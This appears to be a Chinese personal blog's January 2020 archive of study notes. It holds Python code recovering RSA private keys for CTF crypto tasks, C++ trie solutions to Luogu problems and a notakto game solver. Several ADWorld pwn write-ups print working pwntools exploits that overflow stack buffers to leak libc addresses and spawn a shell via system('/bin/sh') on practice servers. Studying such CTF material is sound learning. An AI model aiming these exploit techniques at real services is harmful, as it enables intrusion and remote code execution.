月度归档：2020年01月

CTF Crypto RSA

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已知质数p,q，公钥（指数）e，求私钥d。
利用欧拉定理解私钥d，利用扩展欧几里得求逆元。
python代码：

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def CPPDiv(a,b):
    return int(a/b)

def CPPMod(a,b):
    quotient = CPPDiv(a,b)
    return a-b*quotient

def ExGCD(a,b,x,y): # Return GCD,x,y
    if b==0: return a, 1, 0
    d, y, x = ExGCD(b, CPPMod(a,b), y ,x)
    y -= CPPDiv(a,b)*x
    return d, x, y

def ExGCD_Cal(a,b):
    return ExGCD(abs(a),abs(b),0,0)[1:]

def QuickPow(a,b,MOD):
    if b==0: return 1
    result = QuickPow(a,b//2,MOD) % MOD
    result *= result
    if b&1==1: result *= a
    result %= MOD
    return result

def solveRSAd(n,phi,e):
    u, v = ExGCD_Cal(e, phi)
    if v>0:
        u += phi
        v = e-v
    return u

def Main():
    p = int(input("Prime p:"))
    q = int(input("Prime q:"))
    phi = (p-1)*(q-1)
    n = p * q
    print("Mod N: %d" % n)
    e = int(input("Public Key e:"))
    d = solveRSAd(n, phi, e)
    print("Private Key d: %s" % d)

if __name__ == '__main__':
    Main()

已知质数p,q，公钥（指数）e，和密文c，解出私钥d和明文m。

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def CPPDiv(a,b):
    return int(a/b)

def CPPMod(a,b):
    quotient = CPPDiv(a,b)
    return a-b*quotient

def ExGCD(a,b,x,y): # Return GCD,x,y
    if b==0: return a, 1, 0
    d, y, x = ExGCD(b, CPPMod(a,b), y ,x)
    y -= CPPDiv(a,b)*x
    return d, x, y

def ExGCD_Cal(a,b):
    return ExGCD(abs(a),abs(b),0,0)[1:]

def QuickPow(a,b,MOD):
    if b==0: return 1
    result = QuickPow(a,b//2,MOD) % MOD
    result *= result
    if b&1==1: result *= a
    result %= MOD
    return result

def solveRSAd(n,phi,e):
    u, v = ExGCD_Cal(e, phi)
    if v>0:
        u += phi
        v = e-v
    return u

def Main():
    p = int(input("Prime p:"))
    q = int(input("Prime q:"))
    phi = (p-1)*(q-1)
    n = p * q
    print("Mod N: %d" % n)
    e = int(input("Public Key e:"))
    d = solveRSAd(n, phi, e)
    print("Private Key d: %s" % d)
    c = int(input("Cipher c:"))
    m = pow(c,d,n)
    print("Plain m: %s" % str(hex(m)))
   

if __name__ == '__main__':
    Main()

参考链接：

数论代码总结

洛谷 同余方程


https://www.freebuf.com/sectool/163781.html
还有一本数论概论:)

洛谷 P2580 于是他错误的点名开始了

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Trie树练手题，然而空间不够用最后一个点MLE，90

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#include<iostream>
#include<algorithm>
#include<string>
using namespace std;
const int MaxN = 5000000;
int trie[MaxN][26];
int cnts[MaxN];
int tot;
int trieInsert(string s) {
    int node = 0;
    for (int i = 0; i < s.size(); i++) {
        if (!trie[node][s[i] - 'a'])node = trie[node][s[i] - 'a'] = ++tot;
        else node = trie[node][s[i] - 'a'];
    }
    return node;
}
int main() {
    int n,m;
    string s;
    cin >> n;
    while (n--) {
        cin >> s;
        int node=trieInsert(s);
        cnts[node]=1;
    }
    cin >> m;
    while (m--) {
        cin >> s;
        int node = trieInsert(s);
        if (cnts[node] == 1){
            cout << "OK" << endl;
            cnts[node]=2;
        }
        else if (cnts[node] == 0)cout << "WRONG" << endl;
        else if (cnts[node] == 2)cout << "REPEAT" << endl;
    }
}

洛谷 P1481 魔族密码

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今学习Trie树：https://blog.csdn.net/weixin_43792276/article/details/98977397

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#include<iostream>
#include<algorithm>
#include<string>
using namespace std;
const int MaxN = 5000;
int trie[MaxN][26];
int cnts[MaxN];
int tot;
void trieInsert(string s) {
    int node = 0;
    for (int i = 0; i < s.size(); i++) {
        if (!trie[node][s[i] - 'a'])node = trie[node][s[i] - 'a'] = ++tot;
        else node = trie[node][s[i] - 'a'];
    }
    cnts[node]++;
}
void trieAccumulate(int node) {
    for (int i = 0; i < 26; i++) {
        if (trie[node][i]) {
            cnts[trie[node][i]] += cnts[node];
            trieAccumulate(trie[node][i]);
        }
    }
}
int main() {
    int n;
    string s;
    cin >> n;
    while (n--) {
        cin >> s;
        trieInsert(s);
    }
    trieAccumulate(0);
    int result = 0;
    for (int i = 0; i <= tot; i++)result = max(result, cnts[i]);
    cout << result;
}

BJD CTF Programming notakto_1

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不知名CTF比赛的不知名题目，类井字棋，要写程序判断。
写了两个程序：如下：
C++有漏洞，够用就行：

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#include<iostream>
#include<algorithm>
using namespace std;
int process[10] = { 4 };
bool visited[10];
inline int cal(int x, int y) {
    return x * 3 + y;
}
bool& vis(int x, int y) {
    return visited[cal(x, y)];
}
bool check(int x, int y) {
    bool flag = false;
    flag |= vis(0, y) & vis(1, y) & vis(2, y);
    flag |= vis(x, 0) & vis(x, 1) & vis(x, 2);
    if (x == y)flag |= vis(0, 0) & vis(1, 1) & vis(2, 2);
    if (x + y == 2)flag |= vis(0, 2) & vis(1, 1) & vis(2, 0);
    return flag;
}
void print(int n) {
    for (int i = 0; i <= n; i++) {
        cout << process[i];
    }
    cout << endl;
}
void dfs(int step) {
    bool flag = true;
    for (int i = 0; i < 9; i++) {
        if (visited[i])continue;
        visited[i] = true;
        process[step] = i;
        if (check(i / 3, i % 3) == 0) {
            dfs(step + 1);
            flag = false;
        }
        visited[i] = false;
    }
    if (flag&&step%2==1)print(step);
}
int main() {
    visited[4] = true;
    dfs(1);
}

python连带着往外发socket麻烦得很：

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from pwn import *
sock = remote("222.186.56.247",8122)
wordList = []
currentWord = ""

def findNewWord():
    global currentWord,wordList
    for elem in wordList:
        if elem[0:len(currentWord)]==currentWord:
            return elem
    raise Exception("Error:Word Not found!")

def loadDic():
    global wordList
    with open("situation.txt","r") as f:
        wordList = f.readlines()
   
def getIntfromSock(sock):
    sock.recvuntil("My move: ")
    x = sock.recv(1)
    if x==b' ': x = sock.recv(1)
    return int(x)

def payGame(i):
    global currentWord,wordList,sock
    print("the ith:",i)
    currentWord=""
    while len(currentWord) < 5:
        backupWord = findNewWord()
        print("Send:",backupWord[len(currentWord)])
        sock.sendline(str(backupWord[len(currentWord)]))
        currentWord += backupWord[len(currentWord)]
        if len(currentWord)==5:
            print("break")
            break
        currentWord += str(getIntfromSock(sock))
        print("currentWord",currentWord)
    sock.recvuntil("win!")

loadDic()
for i in range(150):
    payGame(i)
sock.interactive()

代码链接：notakto

ADWorld Pwn level3

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完全看着WriteUp写的，里面说了个PLT和GOT表，这个概念之前接触过一点，但没怎么用过。模仿人家代码的时候也没怎么细想。先敲一遍将来就理解深刻了。

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from pwn import *
p = remote("111.198.29.45",33161)
elf = ELF("./level3")
libc = ELF("./libc_32.so.6")
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.sym['main']
p.recvuntil(":\n")
payload=b'0'*0x88+p32(0)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
write_got_addr=u32(p.recv())
print(hex(write_got_addr))
libc_base=write_got_addr-libc.sym['write']
print(hex(libc_base))
system_addr=libc_base+libc.sym['system']
print(hex(system_addr))
binshaddr=libc_base+0x15902B
print(hex(binshaddr))
payload2=b'0'*0x88+p32(0)+p32(system_addr)+p32(0)+p32(binshaddr)
p.recvuntil(":\n")
p.sendline(payload2)
p.interactive()

ADWorld Pwn cgpwn2

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好像会点了^v^

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from pwn import *
p = remote("111.198.29.45",55602)
p.sendlineafter("your name","/bin/sh")
strAddr=0x0804A080
sysAddr=0x08048420
payload=b'0'*(0x26+0x4)+p32(sysAddr)+p32(0)+p32(strAddr)
print(len(payload))
p.sendlineafter("here:",payload)
p.interactive()

ADWorld Pwn int_overflow

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整数溢出的题目，之前从没做过，所以看了WriteUp。

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from pwn import *
p = remote("111.198.29.45",56345)
p.sendlineafter("Your choice:","1")
p.sendlineafter("username:","123")
flagAddr=0x0804868B
payload=b'0'*(0x14+0x4)+p32(flagAddr)+b'0'*(0x105-0x8-0x14)
print(len(payload))
p.sendlineafter("passwd:",payload)
p.interactive()

ADWorld Pwn guess_num

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经Imagin大佬入门指点开始没事干闲的做点PWN玩，看了两个栈溢出的例子Writeup体验了一下，这个是第三个题目，自己做了一下，做出来了。
栈溢出覆盖随机数种子，写一个C程序用gcc编译一下能生成一模一样的随机数。
Pwn代码如下

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from pwn import *
p = remote("111.198.29.45",44610)
payload=bytearray('0'*0x24,"utf-8")
p.sendline(payload)
p.interactive()